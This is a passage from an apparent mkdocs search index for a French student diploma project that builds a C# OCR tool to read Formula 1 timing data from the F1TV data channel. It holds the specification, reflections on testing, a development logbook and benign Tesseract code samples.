pas partie des \u00e9tapes cit\u00e9es est juste la pour manipuler le format des r\u00e9sultats pour qu'il soit comparable. \"Exemple d'\u00e9chantillons pour les tests\" Ce qui est pratique avec cette approche c'est qu'il est tr\u00e8s facile de rajouter des cas sp\u00e9cifiques et voir comment le programme les g\u00e8re. Si je vois que un certain nombre est souvent mal reconnu je peux faire expr\u00e8s de le mettre dans le dossier et modifier mon code d'OCR jusqu'\u00e0 ce que le test passe. Si j'avais eu plus de temps j'aurais s\u00fbrement pu ajouter de vrais tests unitaires qui testent des fonctions tr\u00e8s pr\u00e9cises. Par exemple verifier que les diff\u00e9rentes Windows sont bien appel\u00e9es et que les zones se cr\u00e9ent correctement ou m\u00eame plus simplement que la lecture du JSON au d\u00e9marrage marche bien. Il faut savoir que m\u00eame si je n'ai pas eu l'occasion d'\u00e9crire beaucoup de tests sous forme de code. Toute la phase de d\u00e9veloppement de l'OCR j'ai pass\u00e9 plus d'une heure par jour \u00e0 analyser les r\u00e9sultats. Je gardais toutes les images des WINDOWS et je notais dans le nom du fichier ce que l'algorythme trouvais et je passais en revue manuellement les centaines de r\u00e9sultats pour isoler ceux qui posaient probl\u00e8me. C'est comme ca que je me suis rendu compte par exemple que, avec cette police, les 4 et les 1 \u00e9taient souvent confondus. Donc m\u00eame si les tests automatis\u00e9s sont clairement insuffisant par rapport \u00e0 ce que j'aurais peut-\u00eatre du faire, j'ai pass\u00e9 \u00e9norm\u00e9ment de temps \u00e0 tester mon application.","title":"Comment ca c'est pass\u00e9"},{"location":"index.html#comment-ca-aurait-du-se-passer","text":"Si je devais refaire ce projet aujourd'hui je pense que j'utiliserais un peu la m\u00eame technique que pour la doc. J'aurais mis les t\u00e2ches de Tests directement au d\u00e9but du projet et j'aurais determin\u00e9 le squelette de l'application par la m\u00eame occasion. Je pense que j'aurais mis trois jours pour \u00e9crire tous les tests dont j'aurais besoin et j'aurais fait une strat\u00e9gie de TDD (Test Driven Developpement) par ce que je pense que ca marcherait vraiment super bien sur ce type de projet. J'aurais pris je pense 5 une dixaine d'images compl\u00eates de la F1TV de plusieurs GP diff\u00e9rents et j'aurais mis toutes les fen\u00eatres d\u00e9coup\u00e9es dans des fichiers avec des tests comme ceux que j'ai fait pour ce projet. Et comme ca je saurai que mon algo est bon uniquement quand il aura r\u00e9ussi \u00e0 passer tous les tests. Cela r\u00e8glerait le soucis que j'ai eu le plus : Me retrouver \u00e0 devoir changer l'OCR 5 fois par ce que \u00e0 chaque fois que je d\u00e9veloppe une nouvelle feature je me rends compte d'une faiblesse mon algorythme... Non seulement j'aurai eu beaucoup plus de facilit\u00e9 \u00e0 avancer sur le projet, mais en plus je pense que cela m'aurait fait gagner \u00e9norm\u00e9ment de temps non seulement car je n'ai plus \u00e0 tester tout \u00e0 la main mais en plus par ce que ca veut dire que quand l'OCR passe les tests je n'ai plus jamais \u00e0 m'en soucier.","title":"Comment ca aurait du se passer"},{"location":"index.html#lecons","text":"Je pense que dans mes futurs projets je mettrai les tests en d\u00e9but de projet plut\u00f4t que \u00e0 la fin et je ferai en sorte qu'ils fassent partie du chemin critique et que je ne puisse pas passer \u00e0 c\u00f4t\u00e9 sous pretexte que \"Je n'ai pas le temps\". Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous emp\u00eachent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de s\u00e9r\u00e9nit\u00e9 incontournable.","title":"Lecons"},{"location":"index.html#resume-des-difficultes-techniques","text":"[A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me]","title":"R\u00e9sum\u00e9 des difficult\u00e9s techniques"},{"location":"index.html#optimisation-du-programme","text":"[A remplir \u00e0 la fin du projet pour parler des diff\u00e9rentes methodes d'optimisation]","title":"Optimisation du programme"},{"location":"index.html#ethique-du-projet","text":"[A remplir \u00e0 la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)]","title":"Ethique du projet"},{"location":"index.html#utilisation-de-chat-gpt","text":"[A remplir \u00e0 la fin du projet]","title":"Utilisation de Chat GPT"},{"location":"index.html#ameliorations-futures","text":"[A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Am\u00e9liorations futures"},{"location":"index.html#conclusion","text":"[A remplir la derni\u00e8re semaine du travail de dipl\u00f4me]","title":"Conclusion"},{"location":"index.html#notes-de-code","text":"","title":"Notes de code"},{"location":"CahierDesCharges.html","text":"Cahier des charges Cahier des charges \"Track Trends\" Travail de dipl\u00f4me Maxime Rohmer 2023 Contexte Je suis le \"Live Ticker\" charg\u00e9 de la Formule 1 pour le 20 minutes. On peut traduire cela comme commentateur de F1, avec tout de m\u00eame l'importante subtilit\u00e9 que je ne commente pas avec la voix, mais avec le clavier. Mes commentaires sont sous la forme de commentaires \u00e9crits live qui s'ajoutent au fur et \u00e0 mesure de l'\u00e9v\u00e8nement. Par exemple : \"Tour 28/54, Hamilton a fini par s'arr\u00eater et chausser des gommes tendres 13 tours apr\u00e8s Verstappen. L'Anglais va voir plus de 15 secondes \u00e0 rattraper, mais les gommes neuves et plus tendres que son rival devraient lui permettre s'il ne se fait pas trop ralentir par le trafic\". En g\u00e9n\u00e9ral avec un peu plus d'infos quand m\u00eame et cela tous les 3-4 tours Voici quelques exemples de pr\u00e9c\u00e9dents commentaires (Conseil : il y a un bouton pour montrer le feed dans l'ordre chronologique) : \"Commentaire Grand Prix de Belgique 2022\" \"Commentaire du Grand Prix de Singapour 2022\" \"Exemple commentaires\" Pendant un Grand Prix, je dois constamment : \u00c9crire ce qu'il se passe dans le grand prix et expliquer les enjeux Chercher r\u00e9guli\u00e8rement des m\u00e9dias \u00e0 inclure pour diversifier mon live (Tweets, Images etc.) Changer le titre et la description du live en fonction de l'\u00e9volution du Grand prix Et accessoirement regarder le grand prix pour y comprendre quelque chose Avec tout \u00e7a, il est tr\u00e8s difficile de garder un \u0153il sur la page DATA de la F1TV qui fournit pourtant des informations pr\u00e9cieuses. Je me retrouve parfois par exemple \u00e0 ne pas parler de d\u00e9passements dans le peloton, car ils ne sont pas retransmis \u00e0 la t\u00e9l\u00e9 alors que c'est une information importante. Autre exemple, occasionnellement le classement ne refl\u00e8te pas les vraies positions des pilotes. Les arr\u00eats aux stands font que du coup des pilotes qui devraient \u00eatre 15\u00e8mes se retrouvent 8\u1d49 puisqu'ils ne sont pas encore arr\u00eat\u00e9s. Cela peut de temps en temps pr\u00eater \u00e0 confusion. Projet Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples: Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents R\u00e9alisation Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Data channel exemple\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Proto\" Cas d'utilisation *On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes Difficult\u00e9s techniques R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Cahier des charges"},{"location":"CahierDesCharges.html#cahier-des-charges","text":"Cahier des charges \"Track Trends\" Travail de dipl\u00f4me Maxime Rohmer 2023","title":"Cahier des charges"},{"location":"CahierDesCharges.html#contexte","text":"Je suis le \"Live Ticker\" charg\u00e9 de la Formule 1 pour le 20 minutes. On peut traduire cela comme commentateur de F1, avec tout de m\u00eame l'importante subtilit\u00e9 que je ne commente pas avec la voix, mais avec le clavier. Mes commentaires sont sous la forme de commentaires \u00e9crits live qui s'ajoutent au fur et \u00e0 mesure de l'\u00e9v\u00e8nement. Par exemple : \"Tour 28/54, Hamilton a fini par s'arr\u00eater et chausser des gommes tendres 13 tours apr\u00e8s Verstappen. L'Anglais va voir plus de 15 secondes \u00e0 rattraper, mais les gommes neuves et plus tendres que son rival devraient lui permettre s'il ne se fait pas trop ralentir par le trafic\". En g\u00e9n\u00e9ral avec un peu plus d'infos quand m\u00eame et cela tous les 3-4 tours Voici quelques exemples de pr\u00e9c\u00e9dents commentaires (Conseil : il y a un bouton pour montrer le feed dans l'ordre chronologique) : \"Commentaire Grand Prix de Belgique 2022\" \"Commentaire du Grand Prix de Singapour 2022\" \"Exemple commentaires\" Pendant un Grand Prix, je dois constamment : \u00c9crire ce qu'il se passe dans le grand prix et expliquer les enjeux Chercher r\u00e9guli\u00e8rement des m\u00e9dias \u00e0 inclure pour diversifier mon live (Tweets, Images etc.) Changer le titre et la description du live en fonction de l'\u00e9volution du Grand prix Et accessoirement regarder le grand prix pour y comprendre quelque chose Avec tout \u00e7a, il est tr\u00e8s difficile de garder un \u0153il sur la page DATA de la F1TV qui fournit pourtant des informations pr\u00e9cieuses. Je me retrouve parfois par exemple \u00e0 ne pas parler de d\u00e9passements dans le peloton, car ils ne sont pas retransmis \u00e0 la t\u00e9l\u00e9 alors que c'est une information importante. Autre exemple, occasionnellement le classement ne refl\u00e8te pas les vraies positions des pilotes. Les arr\u00eats aux stands font que du coup des pilotes qui devraient \u00eatre 15\u00e8mes se retrouvent 8\u1d49 puisqu'ils ne sont pas encore arr\u00eat\u00e9s. Cela peut de temps en temps pr\u00eater \u00e0 confusion.","title":"Contexte"},{"location":"CahierDesCharges.html#projet","text":"Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples: Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents","title":"Projet"},{"location":"CahierDesCharges.html#realisation","text":"Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Data channel exemple\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Proto\"","title":"R\u00e9alisation"},{"location":"CahierDesCharges.html#cas-dutilisation","text":"*On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes","title":"Cas d'utilisation"},{"location":"CahierDesCharges.html#difficultes-techniques","text":"R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Difficult\u00e9s techniques"},{"location":"jdb.html","text":"Journal de bord Mercredi 29 Mars 2023 Premier jour du travail de dipl\u00f4me. Nous avons eu un briefing de mr Garcia et nous avons pu commencer \u00e0 pr\u00e9parer le travail. Nous avons eu les diff\u00e9rents fichiers nescessaires \u00e0 la bonne r\u00e9alisation du projet et je me suis mis \u00e0 faire les fichiers nescessaires La premi\u00e8re chose a \u00e9t\u00e9 de faire ce mkdocs dans lequel j'ai mis un fichier yml plut\u00f4t standart qui risque de changer au fur et \u00e0 mesure. Voici le premier yml : site_name: Documentation Diplome theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html plugins: - glightbox - with-pdf Voici un example de \u00e0 quoi ca ressemble en forme de site \"Exemple mkdocs\" Ensuite il m'a fallu faire une version plus \u00e0 jour de mon cahier des charges car je n'y avait pas touch\u00e9 depuis novembre. J'ai envoy\u00e9 un mail \u00e0 mes enseignants pour qu'ils puissent y jeter un oeuil pour \u00eatre s\u00fbr que je n'ai rien chang\u00e9 qui les d\u00e9rangent. Monsieur Jayr m'a demad\u00e9 \u00e0 l'occasion de lui faire un planning type Gantt alors je me suis mis \u00e0 la t\u00e2che. J'ai fait un planning pr\u00e9visionnel et une l\u00e9gende les deux sont dispo dans le dossier planning de ce repertoire. Ensuite je me suis mis \u00e0 tout mettre sur git. A commencer par ce repertoire Et c'est deja la fin de la journ\u00e9e ! Demain j'avance un peu sur la doc avec ce que je peux d\u00e9ja remplir et je finis de pr\u00e9parer ce dont j'ai besoin pour commencer \u00e0 coder. Jeudi 30 Mars 2023 Aujourd'hui selon le planning je dois me charger des dernirers pr\u00e9paratifs pour commencer correctement. J'ai fait expr\u00e8s de prenre du temps pour ca au d\u00e9but pour ne pas me cr\u00e9er de soucis plus loin pendant le travail. Je vais envoyer par mail le planning que j'ai fait \u00e0 mes suiveurs. Ensuite je vais m'attaquer au squelette de la docmentation. Je vais essayer de remplir tout ce que je peux remplir dans un premier temps car cela tout ca de fait pour plus tard quitte \u00e0 modifier quelques aspects au fur et \u00e0 mesure. J'ai aussi d\u00e9sactiv\u00e9 mkdocs with pdf par ce que les r\u00e9sultats ne sont vraiment pas ceux que j'attends et cela ralentis \u00e9norm\u00e9ment le d\u00e9ploiment. J'ai aussi rassembl\u00e9 mes croquis pour le poster : \"Croquis Poster 1\" \"Croquis Poster 2\" On peut voir que dans un premier temps j'ai tent\u00e9 de faire un poster un peu plus stylis\u00e9 et marketing. Cependant apr\u00e8s avoir discut\u00e9 avec Mr Garcia et diff\u00e9rents profs dont un de l'HEPIA et ils m'ont indiqu\u00e9 que ce qui \u00e9tait attendu \u00e9tait moins du marketing qu'un diagramme de fonctionnement. On peut voir sur les derniers posters que le cot\u00e9 technique ressort de plus en plus. Le but sera de faire une version encore plus technique ou on peut voir les diff\u00e9rents fonctionnements de l'application avec les technologies utilis\u00e9es. Le d\u00e9fi cela va \u00eatre de faire un joli poster qui soit en m\u00eame temps vendeur et en m\u00eame temps rempli techniquement. Oh et j'ai eu un probl\u00e8me ou mon calvier et ma souris ne voulaient d'un coup plus fonctionner. Dans mon cas c'\u00e9tait un probl\u00e8me de power management des ports. J'ai eu le soucis sur mon pc fixe \u00e0 la maison et sur mon pc portable \u00e9galement. En gros de ce que j'ai compris le soucis c'est que le pc croit que un port est trop solicit\u00e9 niveau puissance et du coup d\u00e9cide de couper l'alimentation du port USB. J'ai pu r\u00e8gler le soucis en allant dans le device manager sous universal bus controller sous power management et en d\u00e9cochant la case qui indique que windows peut d\u00e9sactiver ce port. Je ne conseille pas ce fix si vous avez des composants de mauvaise qualit\u00e9 car cela pourrait \u00eatre une vraie alerte cependant le fait que mes composants sont plut\u00f4t haut de gamme et le fait que mon clavier et ma souris le fassent en m\u00eame temps et que ils fonctionnaient tr\u00e8s bien depuis plus de 4 ans me font penser que c'est juste une nouvelle mise a jour de windows qui est p\u00e9nible. Demain je vais pouvoir commencer \u00e0 coder pour de bon. Vendredi 31/03/2023 Aujourd'hui on s'occupe de la PT2 qui est la programmation de la r\u00e9cup\u00e8ration des informations des images. Je vais tester IronOcr Source : https://www.c-sharpcorner.com/article/ocr-using-tesseract-in-C-Sharp/ Doc : https://ironsoftware.com/csharp/ocr/docs/ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesseract/ Avant d'utiliser la librairie je me demande si je dois utiliser un peu de post processing pour aider \u00e0 la reconnaissance. Je peux soit utiliser l'image crop\u00e9e directement : \"Image non trait\u00e9e\" Soit avec un filtre pour passer en noir et blanc laxiste \"Image trait\u00e9e laxiste\" Soit avec un filtre pour passer en noir et blanc stricte \"Image trait\u00e9e stricte\" Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace. Bon malheureusment Iron OCR semblait \u00eatre une bonne alternative mais c'est une librairie priv\u00e9e qui demande une license pour \u00eatre utilis\u00e9e. Il va falloir trouver autre chose. En utilisant la librairie \"Tesseract\" qui existe on peut faire de la reconnaissance de texte avec un code plut\u00f4t simple : TesseractEngine engine = new TesseractEngine ( tessDataFolder . FullName , \"eng\" , EngineMode . Default ); var tessImage = Pix . LoadFromMemory ( ImageToByte ( sample )); Page page = engine . Process ( tessImage ); string text = page . GetText (); Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array public static byte [] ImageToByte ( Image img ) { using ( var stream = new MemoryStream ()) { img . Save ( stream , System . Drawing . Imaging . ImageFormat . Png ); return stream . ToArray (); } } Voici le code pour traiter plusieurs textes sur une seule image : Page page = engine . Process ( tessImage ); // Get the iterator for the page layout using ( var iter = page . GetIterator ()) { // Loop over the elements of the page layout iter . Begin (); do { // Declare a Rect variable to hold the bounding box Rect boundingBox ; // Get the bounding box for the current element if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { g . DrawRectangle ( Pens . Red , new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } // Get the text for the current element var text = iter . GetText ( PageIteratorLevel . Word ); tbxResult . Text += text . ToUpper () + Environment . NewLine ; } while ( iter . Next ( PageIteratorLevel . Word )); } Etonnament, avec plus de texte, des noms qui \u00e9taient autrefois mal reconnus sont parfaitement interpr\u00eat\u00e9s. Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes : \"Screenshot de reconnaisance d'image complete\" On voit que le nom Leclerc est mal reconnu. Mais voici ce que cela donne quand on prend une image qui ne contient que le nom Leclerc : \"Screenshot de reconnaissance d'image crop\u00e9e\" On voit ici que le nom Leclerc est tr\u00e8s bien reconnu. Dans le premier exemple on peut voir que Tsunoda est reconnu comme \"Reticin\" ce qui n'est pas exactement pareil (lol) Et quand on isole le nom Tsunoda dans une image seule : \"Screenshot de reconnaissance de Tsunoda\" Il le lit \"RETLELYY\" ce qui n'est toujours pas exactement ca... Une meilleure r\u00e9solution pourrait peut-\u00eatre r\u00e9soudre le probl\u00e8me en partie. Jusqu'ici les images \u00e9taient en presque 720P ce qui donne ceci : \"Tsunoda en 720P\" Et j'ai lanc\u00e9 une r\u00e9cup\u00e8ration d'images en 1080p pour r\u00e9cup\u00e8rer ceci : \"Tsunoda en 1080P\" On peut voir une certaine diff\u00e9rence tout de m\u00eame. Et quand on lance la reconnaissance : \"Reconnaissance Tsunoda en 1080P\" \"Tsunoda n'est plus \u00e9crit \"RETLELYY\" mais \"TSUNDDA\" ce qui n'est pas parfait mais qui est d\u00e9ja beaucoup mieux. J'ai essay\u00e9 de mettre l'engine de Tesseract en mode \"JPN\" comme Tsunoda est un nom japonais mais sans succ\u00e8s j'ai le m\u00eame r\u00e9sultat. Comme la r\u00e9solution est meilleure je me suis dit que peut \u00eatre le filtre de passage en noir et blanc pourrait aider. J'ai \u00e9crit cette petite 